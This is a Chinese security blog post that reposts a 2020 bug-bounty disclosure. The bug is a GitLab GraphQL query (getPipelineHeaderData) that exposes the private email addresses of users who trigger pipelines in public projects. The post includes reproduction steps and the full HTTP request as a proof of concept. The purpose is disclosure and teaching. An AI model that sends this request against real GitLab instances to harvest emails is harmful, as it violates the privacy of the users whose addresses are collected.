gitlab漏洞系列-邮箱地址泄露
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
ashish_r_padelkar于2020年的10月份提交了这个漏洞:如果用户在公共项目中触发了管道,即使他们在https://gitlab.com/-/profile的个人资料中设置了以下设置,他们的电子邮件地址也会泄露。当试图查看管道细节时,graphql请求getPipelineHeaderData会发生这种情况,并且在响应中可以看到触发管道的用户的电子邮件。由于管道对公共项目中的所有人都是公开可见的,因此在此类项目中触发管道的所有用户的电子邮件都是公开可见的。
复现步骤
1.去任何公共项目,去任何管道详情页面。
2.在后台发送下面的请求。
POST /api/graphql HTTP/1.1
Host: gitlab.com
Connection: close
Content-Length: 748
accept: */*
X-CSRF-Token: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
content-type: application/json
Origin: https://gitlab.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://gitlab.com/groupnew321/project2/-/pipelines/206490527
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9
Cookie: 1
[{"operationName":"getPipelineHeaderData","variables":{"fullPath":"groupnew321/project2","iid":"17"},"query":"query getPipelineHeaderData($fullPath: ID!, $iid: ID!) {n project(fullPath: $fullPath) {n pipeline(iid: $iid) {n idn statusn retryablen cancelablen userPermissions {n destroyPipelinen __typenamen }n detailedStatus {n detailsPathn iconn groupn textn __typenamen }n createdAtn user {n namen webPathn emailn avatarUrln status {n messagen emojin __typenamen }n __typenamen }n __typenamen }n __typenamen }n}n"}]
响应包含用户对象,即使在不允许公开查看的情况下也会公开用户的电子邮件地址!
原文始发于微信公众号(迪哥讲事):gitlab漏洞系列-邮箱地址泄露
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论